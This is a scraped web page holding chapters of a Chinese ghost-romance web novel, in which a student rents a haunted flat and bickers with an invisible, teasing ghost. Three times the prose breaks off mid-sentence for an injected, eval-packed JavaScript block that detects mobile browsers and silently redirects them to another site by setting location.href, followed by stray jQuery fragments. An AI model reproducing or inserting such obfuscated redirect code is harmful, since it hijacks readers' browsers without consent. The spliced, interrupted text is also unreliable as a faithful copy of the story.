更何况他现在都快消失了……张张嘴正想再说点什么挽回一下。
挡住太阳的大片云彩终于散开,天渐渐亮起来,屋里又重新明亮,风也早在不知道什么时候停下了。
浑身使不上力气的迟岛靠在墙上,视线没有焦点地看向前面离自己不远处的地板,听声音他好像是在那来着。
光亮充满客厅时,恍然间,迟岛好像看到地上蹲着一个少年正在仰头看她。
他头发有些长,半遮住眼睛,瞳孔是深邃到化不开的黑色。眼尾处有一颗惹眼的红色小痣,看起来似乎很虚弱,甚至整个人都趋近透明。
但对她,眼底却是明晃晃的笑意,挑衅的坏笑,像……勾人心魄的恶鬼,让你心甘情愿的陪他下地狱。
迟岛愣愣地眨眨眼睛,又不敢置信地揉了揉,眼前哪里有过什么人。转过身,在客厅里快速扫视一圈,似乎确实确实只有她自己。
脑袋晕得不行,现在一点都不想思考,她稍微提高了些音量:“喂?喂,还在吗?”
回应她的只有从墙上反弹回来的回声。
真的不见了?迟岛看着手里的项链,慢吞吞地把它收起来。
这是灰飞烟灭吗?不然是去天堂还是地府?
但其实……他好像也没有做过什么特别过分的事……
迟岛昏昏沉沉的脑袋,现在思考起问题来一卡一卡的。
她扶着门框转过身,回去睡一觉吧,发烧好难受。
“咔哒。”房门再次打开,最先看到的是一朵燃烧着的红色玫瑰花。
还冒着黑烟,气味很呛人的那种……
迟岛开门的动作顿了一下,这下还有什么不明白的……
果然,耳畔边传来懒洋洋的轻笑,声线有些微微的哑,尾音上挑,莫名缱绻:“surprise~”
玫瑰花已经烧到了花梗,火星倏然熄灭,迟岛几乎可以听到对方闷在胸膛里的笑:“用西洋货灭中国鬼,那么天才的想法真是精妙绝伦,谁想出来的?”
“表扬一下。”
迟岛:“……”
7. 那房租A一下
等迟岛再睁眼时,映入眼帘的是挂着水晶吊灯的陌生天花板,嗯?迟岛头昏脑胀地撑着床坐起来,扶着额头开始思考。
我不是睡上铺吗?天花板什么时候离我这么远了?又低头看见身上的被子,皱眉嫌弃地拎起来仔细看了看,而且,我什么时候盖过这么没品味的被子?
黑白格子的丑死了。
“……你再不醒,我都要怀疑你是不是碰瓷了。”
迟岛被突然响起的声音吓了一跳,手上的被子重新落回床上。抬头间,这才看清周围的情况,这不是正打算租下的那间房子吗?
她赶紧从床上跳下来,拍拍自己的背带裙,这床上多脏啊,都没打扫过。
迟岛只顾着检查身上有没有脏,钱包里的钱有没有少,全然忘了屋内还有一个人,哦不,鬼在等着她回话。
被无视良久的鬼大概是觉得很没面子,沉默半晌……出声咳嗽了下:“咳咳。”
迟岛翻钱包的动作顿了一下,又继续点着手里的钞票装作没听到。
幸幸苦苦收拾完床铺拿出干净被子,再把迟岛抱到床上,还来回飘好几趟弄凉毛巾的鬼:“……”
即使脸皮再厚都受不了被无视,可能就只是在等一句谢谢,但说出口的话却依然懒散欠揍:“是碰瓷的吧?还是因为想我想得不得了?不然发着烧还要过来?”
莫名其妙听出哀怨……
迟岛数硬币的手一顿,太阳穴被气得突突地跳,嘴角一抽实在忍不下去了,这人就是不理他就疼鼻子上脸:
“找你?怎么不找个秤称称自己几斤几两?那是看你实在不顺眼,生病觉得活不长了来和你同归于尽。”
“哦。”拖着长长的尾音,似乎并不想再讨论这个话题,轻飘飘地揭过。
“这几个硬币你已经数好几遍了,就这么穷?”不管什么话题都说不出好话,或许也是一种超能力,毕竟说的每句话都这么想让人揍他。
但迟岛现在没功夫跟他计较,又把手上的钱重新点了一遍,发现还是少了十块。
她忍着怒意,慢悠悠地转头看向身侧的床沿,一字一字地说:“你拿的?”
空中诡异飘着的金属打火机,“咔哒咔哒”打开又合上。
一点没有察觉到风雨欲来,继续漫不经心地火上浇油道:“对啊,一盒退烧贴,话说你真的很穷吧?钱包里面值最大的居然就是那张十块钱。”
迟岛深呼了口气,指甲都陷进了肉里。缓缓地转过身,在心里疯狂安慰自己,不生气不生气,钱没丢,至少花自己身上了。
片刻后,好不容易地把众多消息的消化完毕,走到窗边才发现外面天都快黑了,太阳在地平线上落了一半,夕阳西斜,都不知道自己睡了多久。
“三个小时。”
啊?迟岛怔怔地抬头。
“我说你总共睡了三个小时,睡眠质量确实是好,不管身处何地倒头就睡。”
这是把之前迟岛在画室怼他的话,明里暗里地变着花样婊回来,所以说他就是很在意自己不能睡觉这件事吧……不过还有一件事。
迟岛看着空中貌似被他玩得很溜的打火机,眼神暗了暗,听不出情绪地问道:“之前的戏自导自演的?要把你烧成灰的火焰是打火机?”
空中华丽旋转的打火机被抛到空中,一道优美的弧线后又被一只看不见的手稳稳接住,散漫地答应:“关键是我演得那么烂你还信的事吧?”
迟岛语塞片刻,本想找他算账又不知从何算起,现在仔细回想起来那鬼确实演很烂,说的话茶里茶气得不说,一个愿望就磨蹭了一分钟都没下线……
虽然面前的鬼固然可恶,但被如此拙劣演技蒙骗过去的自己。貌似也很不聪明……
但当时不是因为还在……哎?迟岛抬手摸向自己的额头,才发现现在貌似已经不烧了。
“不谢谢我吗?”打火机又被一下一下抛向空中。
迟岛冷漠地瞥了床边一眼,大致意思大概是,谢谢你把我吓晕,还是谢谢你用你拙略的演技成功骗过我?
拿起手机随手扒拉了一下准备回宿舍,却看见了一条十几分钟前的信息,沈昭凤发的。
迟岛动作顿了一下,最后还是点击转文字,零零散散看起来七八句的文字,其实重要信息只有一点点。
总结下来就是,沈昭凤已经陪那位租客看完房了,目前很有时间,问问能不能现在就签合同。
这是多怕她跑了……
迟岛默了默,没有立刻回复,而是抬头看向的床沿的地方,打火机被抛起接住,这么无聊的事都能玩得不亦乐乎。
通过她的观察来看,面前这只不着调的鬼,会伤害自己的可能性很小很小,充其量也只是打打嘴炮。
迟岛无语凝噎,低头在手机上打了一句话发过去。
把手机放回口袋,迟岛一脸严肃地走到床边,慢悠悠地下通知:“我要租下这间房。”
对方似乎是愣了一下,这次抛出去的打火机没有被接住,掉到床边又滚几下掉在了地上。
金属外壳的打火机砸在瓷砖上,声音很大,气氛诡异的安静片刻,一时都默契地没再开口说话。
最先打破寂静的是弄掉打火机的这位:“哦,所以?”
迟岛唇角勾起一抹不怀好意的笑:“所以通知通知这位先生,记得A一下房租。”
话说完,空气又凝固住,几秒钟的时间仿佛过了几年。
不知道过了多久,迟岛觉得腿都站酸了,也没见对方表态,不耐烦地又问了一句:“喂?”
“扑哧。”像是终于忍不住,房间里回荡着低低的笑声。
迟岛心里的怒火被瞬间点燃:“笑什么!”
“感觉这位小姐说话前可以先找下我在哪里。”打火机不知道什么时候被捡起来,在离迟岛半米远的位置被重新抛向空中。
同时散漫地调侃:“在这里,那边只是一团普通空气。”
迟岛:“……”
“来来来,在这按个手印签个字就行了。”
迟岛对沈昭凤的催促置之不理,把手里的合同翻过来从第一条开始看起。
明显就是不信任她的样子,沈昭凤多少有点难堪,打着哈哈道:“哎呦小岛,我还能坑你不成吗?”
迟岛没说话,在一条条款上看了半天才抬头,指着那一条:“当时不是说好两百一个月吗?”
上面明晃晃印的五百块。
“这这,拿错了吧哈哈,幸亏小岛你看得仔细啊。”沈昭凤陪着笑,急忙从迟岛手下抽出合同,“我再去印一张一会儿就回来,小岛你坐着等一下,别乱跑啊。”
迟岛捻捻手指看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15724066|173971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
向沈昭凤的匆忙的背影,又不是小孩子,还乱跑?
她坐在中介门店内,慢悠悠端起旁边的杯子里的茶抿了一口。
心里其实也有点怀疑,到现在都没见过房东,一问沈昭凤她只说房东很忙,这些事由她代做就行。
看沈昭凤的表情不像撒谎,她撒起谎来总是格外明显,迟岛放下手里的茶杯,往后一倒靠上椅背。
但即使这看起来就不靠谱,她也要租下,毕竟有时候人比鬼可怕多了。
“听说沈姐把那套凶宅租出去了。”
两个手里拿着资料看起来刚毕业的女生,手挽手从迟岛身后路过。
听起来……好像是在说她?迟岛动作没变,眯起眼睛又闭上,把注意力放在了那边。
“我知道!听前辈说那套两年的都没租出去,但中介费超多的!”
女生即使压着声音也克制不住透出来的兴奋。
迟岛满脸疑惑,超多的中介费?两百块钱再打个折扣这还剩下什么?
还没等细想,这个问题很快有了答案,另一个女生问:“按理说,那凶宅租金又不高,哪有你说的那么夸张?”
“这你就不懂了吧?”精通消息的女生略微得意,“听说房东给了不少佣金,比这一年的租金都多。”
“哇。”
两个女生渐渐走远,声音再传到迟岛耳朵里也不太清晰,但最后一句话她却听得清清楚楚……
“我还是很好奇到底哪位勇士租下来的,听说之前吓跑了好几个,这么冤大头的事也有人做?”
“世界之大,无奇不有……”
听完全部的“冤大头本尊”手一抖,茶杯里的茶溅出来不少:谢谢,但下次说话可以小点声……
恰巧这时沈昭凤拿着合同小跑着过来:“这次好了,快看看,没什么问题快签了。”
似乎是觉得这样说显得太心急,她又哈哈笑着在后面补了一句:“这不是天快晚了吗?东西什么的不是还在宿舍?”
但自从知道沈昭凤的佣金后,迟岛慢慢看了她一眼,表示对她的心急十分理解,但略微的不满。
大致扫了眼合同,迟岛大笔一挥在签名处写下自己的名字。
“行行行,这就没事了。”沈昭凤站起来笑眯眯地收合同,“想什么时候搬过去都行昂,我一会把房东微信推给你。”
“哦。”迟岛垂眼给盖上笔帽,正要还给沈昭凤时不经意间瞥向她的胸口。
好像……少了点什么。
思考片刻,迟岛迟疑地问出口:“沈姨。冒昧问一下,今天怎么没见你戴佛牌?”
不是能驱鬼吗?
意料之外,沈昭凤的表情不太好,低头下意识摸向脖颈:“还说呢,当时我不是在电梯里发现裂了条缝吗?但又像沾上了什么脏东西,你妈,回去一洗发现那玩意掉漆。”
迟岛表情一怔,手上的笔掉到地上。
“他妈的骗子,假的也敢往外卖,也不怕遭佛祖报应……”
沈昭凤骂起人来絮絮叨叨没个完。
只是迟岛沉默了片刻,低下头脸上的表情五彩缤纷,想起自己拿着个十字架项链就冲进凶宅,就恨不得扇当时的自己两巴掌。
甚至无比后悔决定租下房子,可奈何合同已签。
迟岛:……可恶的骗子。
8. 晚安
忙前忙后收拾了三天才把屋子彻底打扫干净,期间不管收到多少短信迟岛都没有再点开看。
本着看不到就是对方死了的原则,这几天过得无比快乐。
傍晚,终于把行李都搬进来的迟岛,在小区楼下小餐馆请帮忙的容柔柔吃饭。
那人毫不客气地拿发夹夹起刘海,大口吸溜着面前的大碗凉皮,嘴还能有空说话:“小岛这就是你的不对了,怎么就不能让我上去坐坐了?神神秘秘的,你藏了人?”
“咳咳咳!”在听到某个特定字眼时神经下意识紧张,凉皮倒吸进嗓子,低头捂嘴咳嗽起来,藏个鬼啊还藏人。
“哎哎哎,怎么了嘛?”对面的容柔柔坐到她身侧帮她拍拍背。
不过,确实藏着鬼来着……
想到这咳嗽得更厉害,摆手推开容柔柔的手:“不咳咳,不用。”
容柔柔配合地收回:“难不成真藏人了?反应这么大?”
终于缓过劲来,拧开矿泉水瓶喝口水:“对,杀了人藏家里最安全,我晚上还要给他摆姿势,用来画我的素描作业。”
“咦——”容柔柔迅速坐回到对面,夸张的呲牙捂住胸口:“我就知道,你们学艺术的,果然都沾点变态体质。”
迟岛放下水瓶,淡淡地抬眼向她的碗里伸出筷子:“不吃了?”
吃货赶紧护住饭碗:“我的我的,还没吃饱,你说那些害得我都没胃口了。”
容柔柔终于抓紧吸溜着凉皮,世界都清静了。
迟岛慢悠悠地放下筷子拿起旁边的手机,顺手打开的wx的好友申请。
三天过去,这申请都过期了对方还没有通过……
沉默片刻又重新发出去一条,把手机一扔,将额前扎眼的头发向后梳。
不由感叹,现在的房东都这么随性的吗?一个陌生人住自己家还能一点不在意?
“怎么了小岛?”容柔柔吃完饭,现在才想起来优雅地擦嘴。
迟岛低着头看不出情绪:“没什么,吃完赶紧回宿舍,别又被王姨唠叨。”
“咦——”容柔柔嫌弃地扫她一眼:“这还用你说?被唠叨次数最多的就是你。”
迟岛坐直身子,漫不经心地活动手腕。
容柔柔赶紧提包溜号:“别别别,我错了,我现在就要走了,公交车要出发了你晓得吧?”
餐馆外的塑料桌凳总是不缺人坐,相反屋内人总是很少,天色渐沉,两人幼稚地打闹,都淹没在隔壁桌的劝酒声和碰杯声中。
路灯亮起,将她身后的影子拉长,远处公交车的尾灯消失在拐角,迟岛终于转身,踢着石子走向小区。
夏天走完了一大半,迎面吹来的风不骄不躁,迟岛闭闭眼手伸进口袋。
然后,摸出来一把糖……
容柔柔放的?迟岛嘴角的弧度,微不可察地上扬了一个像素点。
“丁零零——”接听容柔柔的电话,拆开一颗糖放嘴里,以为是报平安之类的。
接通后的第一句话,平时波澜不惊的话尽量放轻:“怎么了?到宿舍了?”
“咦——你能不能正常说话,这样好吓人。”
……没见过上来找骂的。
迟岛把嘴里的糖换到另一边:“有事说事,该不会脑子忘这边了,让我捎回去?”
“哎,这样对味儿了,刚才像被夺舍了。”这次没有间断,紧接着说自己这通电话的用意:
“之前搬完东西拿你外套擦手,最爱吃的那款糖忘你口袋里了,一共十三块,别偷吃,明天回宿舍帮我捎回来。”
几秒钟前被感动到的迟岛嚼碎嘴里的糖:“……”
无语到极点笑出了声,心情像坐过山车一样,最后抓住重点:“现在是十二块,你拿我衣服擦手?”
“嘟嘟嘟——”对方挂断了电话。
慢半拍地垂头看向挂断页面,唇角莫名勾起一抹浅笑,又很快压下去,仿佛那一瞬的温和只是错觉。
正要关灭屏幕把手机放回口袋,上方突然弹出来一条新消息:对方通过了你的好友申请,现在你们可以聊天了。
恍然了一下才反应过来,是她那位心大的房东通过了刚才的申请。
微风微凉,吹过来很舒服,迟岛干脆拿着手机倚在路灯下,夜晚很静,只有树叶的沙沙声,不想回去见那个能烦死人的讨厌鬼。
点开聊天框,显示对方正在输入中。
迟岛指尖一顿,耐心地等对方打完,注意力不自觉被对方的头像框吸引,看起来像是在本子上写的两个字。
头像缩小图糊成一坨,好奇心的驱使下,迟岛鬼使神差地点进房东的主页,点开放大头像。
那两个字根本就不可能看得清,纸张大概的不小心溅到水,上面未干的笔墨被晕开,字迹糊成一坨。
在海城能买下房,头像迷惑看不懂,三天才通过申请。综合来看,迟岛觉得对方应该是个中年大叔之类的。
回到聊天框才发现对方早早发过来了长长的一段话:
卧室里那张书桌左边的抽屉不可以打开,阳台可以动,只要不大改都能接受。其他没什么要注意的,住之前记得检查一下电和煤气这些,很久没住过人可能会有点毛病。
出乎意料地不啰嗦好说话,虽然像个甩手掌柜,但至少省了很多不必要的麻烦。
迟岛一目十行地看完,最后简单在屏幕上敲两下:好的。
但……迟岛疑惑地挑眉,不能打开的抽屉?老套的恐怖片桥段,不过屋子里都有鬼了,有这种类似禁忌的地方也不算稀奇。
啧,迟岛伸手拍掉一只飞虫,装起手机准备回去了,灯光下的小飞虫总是格外多。
烦人的程度和家里那只不相上下,还不如回去盖被子睡觉。
“咔哒。”钥匙拧开房门,玄关处的灯光亮起。
“哒哒哒。”的脚步声后,再亮起的是卧室的灯。
偌大的屋内,少女穿着浅蓝色睡衣,眉眼低垂,一脸严肃认真地捏着被套的一角。
没关紧的房门悄然打开一条缝,丝丝扰人的凉意从外面挤进温暖的卧室里。
“哇——”浮夸敷衍地感叹后,是熟悉地调侃轻笑:“这么可爱的被套?”
迟岛叹口气,放下手里死活套不进去的被套,漠然地转过头:“谁让你进来的。”
对方也学着装模作样地叹口气:“可是我没进去啊。”仗着迟岛看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15724067|173971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不见随手敲敲门框。
“我脚站在外面哎。”
听起来委屈巴巴的,莫名其妙到成了迟岛不对……
迟岛也不在意,继续低头套被罩。
其实这被罩跟可爱压根就挨不上边,大红大紫的颜色,好几朵叫不上名字的花,感觉跳广场舞的大妈都会觉得土的程度……
柔和的灯光洒在迟岛脸上,给恬静认真的少女铺上朦胧的滤镜,本来应该纯净美好的画面,但看到那套被罩就觉得割裂……
并且这人刚套上一个角,套另一个角的时候刚套好的又会掉,就这样来来回回,锲而不舍地试了好几次……
在迟岛准备尝试第二十五次的时候,门外看不下去的鬼:“……”
这次毫无表演痕迹的叹口气:“我帮你吧。”
说话时,声音离迟岛越来越近。
迟岛猛地转过头,一脸警告:“不用。”毫不意外地拒绝。
“既然,这位小姐想不盖被子睡觉的话我没意见,走了啊。”拖着长调子,语气依旧散漫。
但身边的冷气却并没有散开,再次塞进被角,柔软的被子上凹陷下去了一点点,注意到的迟岛动作一顿,不经意的移开视线。
这次塞进去的被角没有掉出来,她松口气,解决了问题,接下来的步骤就十分顺利。
收尾拉拉链时,在“刷”一声的拉链声中,迟岛还听见了一句并不小声地吐槽。
虽然对方将声音刻意压得很低,但有时候说话非要凑到别人耳边,不管说什么都算不上是秘密……
“不是美术生吗?这就是很有品味?”
迟岛沉默了一瞬,表示这很难装作没听见,而且对于审美和对美术生对刻板印象,她感觉有必要向这只封建鬼解释一下。
于是退一步拉开距离,嗤笑一声,双手抱胸满脸不屑地解释:
“首先,红绿蓝这种高对比的配色,符合补色对比原理。大面积的高饱和铺色也更具色彩张力,群青加朱砂,是最佳视觉比三比七。所以……”
话说完又刻意顿了顿,转头温柔地笑笑,长发披在身后,窗户没关紧有一下没一下地吹起发丝。
虽然少女笑得温婉,但接下来说的话格外扎人:“比你们推崇的高级灰更有视觉层次感,你应该有点自己的审美方向,不能被社会审美的河流淹没。”
“好了,再见。”
某只鬼迷迷糊糊中都不知道自己是怎么出来的,在回过神时,砰的一声关上的房门差点碰到他的鼻尖。
好吧,都变成鬼了,根本就不可能碰得到鼻尖……
他自嘲地伸手摸摸鼻尖,手从身体里穿过,他又忘了……
丝毫不受影响地收回手,漫不经心的挑眉看向面前的房门,今天这里住进来了一个怪怪的女孩,虽然这里只有她一个人,但还是很热闹。
脑海中,最后一个画面定格在少女唇角狡黠的笑,她看起来像只自以为很聪明的狐狸。
一本正经的解释,大花被套的颜色搭配原理……
好笨。
手轻轻地覆上门板,克制着力道不让手穿过去,一声微不可闻的轻笑埋没进夜色里,带着莫名的意味:“晚安。”
9. 鬼和鬼片
可能……也不会晚安。
海城时间凌晨四点整,窝在被窝里睡的正香的迟岛翻了个身踹开被子,没拉紧的窗帘外透进来一小束光,天才刚茫茫亮。
“不,我真的不能没有你。”客厅里正在播放着电视剧里,女主角夸整的哽咽着,抽抽嗒嗒的挽留。
“亲爱的你要坚强,没有我你也一定会生活的很好的,但婉婉不能没有我。”男主角的渣男语录将整个故事推向更狗血的桥段。
迟岛皱着眉没好气的又翻了个身,原本平稳的呼吸声急促不少,折起枕头捂住耳朵,尽量压着心里熊熊燃烧的怒火。
没事,再睡一会就回学校了,睡着了就听不到了。
“可是如果不能拥有你,我的人生……还有啥什么意义呢?”女主角还在尝试挽留。
“乖,听话,我还是爱着你的,只是现在她更需要我。”
说话越来越做作,剧情走向越来越迷惑。虽然观众一头雾水,但编剧那边应该是感觉到了高潮,甜腻腻的BGM配着男主角并不深情的情话响起。
“记住,我的心永远在你这里。”
电视剧的光从门缝里透进卧室,空荡客厅里,男主刻意压低的气泡音像开了混响。
迟岛忍无可忍,猛的掀开被子,眼神晦暗的呆呆看着天花板。
那种男的到底是怎么当上男主的?渣男就应该下油锅……
不对,蓦然反应过来,现在最重要的应该是去找那只凌晨不睡觉,制造噪音的让别人也睡不了的鬼吧?
迟岛眉头紧蹙,坐起身,烦躁的随手扒拉了两下头发,半耷拉着眼皮摸着黑找拖鞋。
自己不需要睡觉,还不让别人睡?能不能来个道士给他超度了?
拧下房门的迟岛如是想到,眼睛困的睁不开,上下眼皮像装了磁铁,努力睁着才不至于合上。
打着哈欠拧开了房门,然后张着嘴定在原地,瞳孔瞪大……彻底清醒了。
偌大的客厅内电视里放着惨兮兮的离别桥段,矫情的令人牙酸,屋顶的灯却像蹦迪一样明明灭灭闪的眼睛疼。
违和又诡异……
但迟岛想的是:就说怎么可能只开个电视,从卧室门缝里就能看见那么晃眼的光……
她抬手捂了下眼睛,如果说原本心里平静的是一片湖泊,那现在就像煮沸了还咕噜噜冒泡的开水,她深呼一口气,尽力平复情绪。
别生气,你又打不过他……打不过,打不过……好,平复失败了。
迟岛面无表情的放下捂眼睛的手,径直走向顶灯开关,用力按下跳节奏舞的开关,客厅的灯呈亮着的状态终于不在动。
低头从紧闭的牙关里挤出一句话:“电费不用你交?”怎么敢这么造的?
“哎,鬼不用睡觉很痛苦啊,在每个孤独的夜晚,都只能看着远处的万家灯火发呆。”
听起来确实可怜,但如果他不笑着压低声音说的话,感觉会更有可信度一点。
而且……万家灯火也需要睡觉吧?
迟岛按着开关的手微顿,表面上无动于衷的走向茶几拿起遥控器:“无聊了就吓人玩?哦,也没有吓到任何人。”
“曾曾!”
“晚晚!”
电视里的两人已经感动到抱在一起哭了,话被打断,迟岛叹口气揉揉太阳穴,对此装作视而不见的关上电视。
“只有被吵到睡不着觉,作为一个鬼,你不会觉得自己失败吗?”她语气一直都是淡淡的,可每句话都极具攻击力,给人一种被瞧不上的感觉。
但无奈,人不要脸天下无敌,鬼呢?本来就没脸还要什么。
电视屏幕被关上,男女主都消失在黑幕里,漆黑的屏幕上甚至能映出客厅顶上水晶灯细碎的灯光。
迟岛扔下手里的遥控器,正想转身回去睡觉,但转身的刹那,一瞬间,电视又毫无征兆的打开!
一只长着血盆大口,浑身黄色黏液的丑陋怪物突面而来,迟岛浑身一激灵,手下意识挡在身前,不自觉退一步。
“哈,这不就吓到了吗?”戏谑的调侃,在画面中可怕的怪物离开后响起。
他仿佛是坐在沙发上向后转着头,撑起身子硬要凑到她跟前。
不着调还欠嗖嗖的话,让迟岛猛然从惊吓中回过神来,臭着脸把电视再一次关上,这次还俯身拔了电源。
对某只恶趣味的鬼视而不见,理都没理,关上客厅的灯,一秒没停留的回屋睡觉。
“砰!”卧室的门被重重的摔上。
空荡的客厅里再次陷入了孤寂,没有声音,那片刻的热闹似乎只是错觉。
窗户外近乎若无的天光,照进来洒在客厅的沙发上,一声微不可闻的叹息声后是压抑不住的笑。
“嗤——”
房间内安静了没几分钟……
“她是我的!”
“哈?你的?你能给她更好的生活吗?”
电视又毫无征兆的打开,屏幕上的光打在空无一人的沙发上。
里面的两位男主演的投入,女主不知所措的在中间被他们拉来拉去,终于忍不住爆发:“你们不要吵了!”
“哈。”本该无人的客厅忽而响起嘲讽的笑,好像沙发上真的坐着一个吊儿郎当的人似的。
“这么麻烦,干脆一人一半不就好了?”
“砰!”卧室的门又被重重打开,门把手撞上墙面,磕下来了一点墙皮。
迟岛浑身散发着几乎能冻死人的冷气,她漠然的抬起眼皮,琥珀色眸子仿佛是淬了冰的的玻璃渣。
任谁都能看出她的不开心,和压抑着的怒气,麻利点的就赶紧滑跪道歉了。
但显然他并不在列,哒哒哒的开关着手里的打火机,火光在昏暗房间内显得格外渺小。
还能拖着尾音继续火上浇油:“看电视剧吗?有爆米花哦——”
迟岛心里的怒气到达顶点,怒极反之轻轻叹口气,无语的扶额顿感无力。
能怎么办?碰都碰不到,揍一顿出气都不可能,骂他半天人家可能都当作夸奖,左耳进右耳出了。
她揉揉眉心,突然又转过身关上门。
“啊——看来不是所有女孩子都喜欢看电视剧啊。”装模作样的沮丧,像极了猫哭耗子。
悬空的遥控器既而转了个圈,恶劣的笑:“动画片?新闻?总不能都不喜欢吧?”
“恐怖片。”
嗯?怔愣的视线上移,迟岛脸上没什么表情,披了条薄毯子站在房门口朝他淡淡的说。
径直走到茶几边拿起爆米花,坐到沙发上塞嘴里一颗:“鬼不敢看鬼片?”
对方愣了一下像是才回过神,皮质的沙发扶手凹陷下去几分,随即低笑出声:“对啊,可害怕了,保护我?”
迟岛瞥了一眼没有回话,按着手里的电视遥控器播台。
神经病。
脑袋有点混沌,手上机械的按着返回键,大概是因为没睡醒。可方才躺在床上,即使没有噪音也翻来覆去的睡不着。
迟岛想不明白为什么,对于自己的情绪她总是慢半拍知道,但既然睡不着也拿这鬼没办法,不至于和自己过意不去。
看看他到底搞什么名堂。
“别再按返回了小姐,还想回到哪去?”
被出声提醒,迟岛冷着脸随便点了一部恐怖片。
刻意彰显诡异气氛的前奏响起,迟岛眼睛一眨不眨的看着屏幕,不忘在嘴里塞爆米花。
不怎么好吃,甚至可以说是难吃,虽说是有点受潮……但怎么能这么难吃呢?什么味的。
迟岛低头把装爆米花的桶往眼前凑了凑,奶茶味的……
哦,容柔柔不喜欢塞给她的,迟岛向来对这些零食不感冒,就那么放着,这些都不知道放了几天了。
迟岛面上依旧冷酷无情,然后默默抽了一张纸吐上面扔进垃圾桶。
“哈呀,那么难吃?”
迟岛把一整桶都一块扔进去,听到对方幸灾乐祸,手上的力度大了不少,垃圾袋里没有垃圾,被这么一扔缩进了垃圾桶里。
她嫌弃的跑拍拍手:“怎么?想和它一起进去。”
那自然是不想的,对方笑了笑,这次倒是识趣的没有再说话。
电影的开头片段,是一个小男孩在老旧的街道上狂奔,非常传统的桥段。
迟岛头往后靠靠,找了个舒服的姿势裹紧毯子心想:接下来就该有个开着慢倍速的声音在叫他的名字了。
果不其然,小男孩在前面狂奔,身后却总有一道甩不开的声音,一直呼唤着他。
精准猜中的迟岛:无聊……拍的画面也毫无美感可言。
身边的鬼倒是看的津津有味,原本转着打火机的手都缓缓停下:“他会
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15724068|173971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
死吗?”
迟岛翻了个白眼:“哪有主角开头就死的?”
“哦,那你觉得他最后会怎么样?”
“不是疯就是死,再要么失去记忆。”白痴问题,按理来说这些问题他应该比她熟悉。
荧幕的光打在迟岛脸上,给她多增加了一份柔和,长睫毛在眼睑投下阴影,认真的看着电视里与她格格不入的血腥画面。
“迟岛。”他第一次叫她的名字,在她同学的嘴里听到过好多遍,但叫出口却难免生涩。
迟岛没反应过来,也可能是专心看着电影没有听到。
“迟岛。”
“嗯,有事?”
她漫不经心的随口答应,听起来有些敷衍。
扰人的那位却忘了说后面的话,沉默了一瞬:“没事。”
沙发上明明只有一个人,随着屏幕里的光变化,从始至终的对话都透露着满满的荒诞感。
电影里的小男主渐渐长大成为了一名记者,为了拥有爆炸性的新闻只身前往传说中的凶宅。
迟岛有些无语,凶宅……
被门口的管家拦住询问名字,苍老年迈的声音气若游丝:“你叫什么名字?”
身旁的寒意似乎是往迟岛这边靠了靠,她蹙起眉头想叫这鬼滚远点,嘲讽一下该不会的害怕了吧。
“喂……”脱口而出的还是喂,莫名停顿一下,迟岛这才发现自己并不知道他的名字。
恰巧电影里的男主因为谨慎,拐弯抹角的没有回答,老管家又极具耐心的问了一遍:“你叫什么名字?”
“我吗?”身旁的鬼突然出声,似乎很意外,虽然依旧在笑。
但却没来由觉的他可能有点不知所措,这怎么可能?他那么恶劣。
迟岛愣了一下,转过头:“跟你有什么关系?又没问……”
没说完的话顿住,这才反应过来,刚才下意识同电影里的角色一起问出声。
同时,电影里的男主被问的不耐烦了,没好气的回答:“亨利!亨利!听清楚了就赶紧让开,你这该死的老家伙!”
而他:“咳咳。”
咳嗽两声跟要上台领奖似的,难得一见的正经,有些犹豫,像是思考了很久:“我……贺究”
片刻后没有得到迟岛的回复,又重新重复了一遍:“我叫贺究。”
“贺究?”迟岛分了下神,喃喃的重复一遍,嘴角扬起一抹笑:“贺究,喝酒?你这名字真随便。”
名字随便的鬼:“……”
嗤笑一声恢复了平常的状态:“你的名字就很好啊,和你很搭。”
又故意拖着长音说完后面的话:“迟到小姐。”
迟岛:“……”
六点,少女在沙发上蜷成一团睡的很没安全感,薄毯子仅仅只是堪堪盖住肚子,一大半都掉在了地上。
外面早已天光大亮,光照进屋里落在原木地板的某处。
盖肚子的毯子不出意外的滑落,没等全部落地就被悬空着托起,抖开,重新盖回她身上。
音量小到听不见声音的电影终于迎来了结局,因为小男孩的贪玩烧死了凶宅内的所有人,最后他得到了自己的惩罚。
屏幕熄灭。
“小岛,小岛小岛,别睡了。”
趴课桌上的迟岛迷迷糊糊睁开眼,教室窗外正午的光略微刺眼,眨眼,扭过头看向坐在旁边的容柔柔:“怎么了?”
容柔柔一反常态的没说话,紧闭着嘴巴使劲指指前面。
这……如果不出意外的话,迟岛一卡一卡的转过头,正好对上讲台上的老师朝自己微笑。
“迟岛同学既然你对我的课这么不满意,要不然去走廊上清醒一下?”
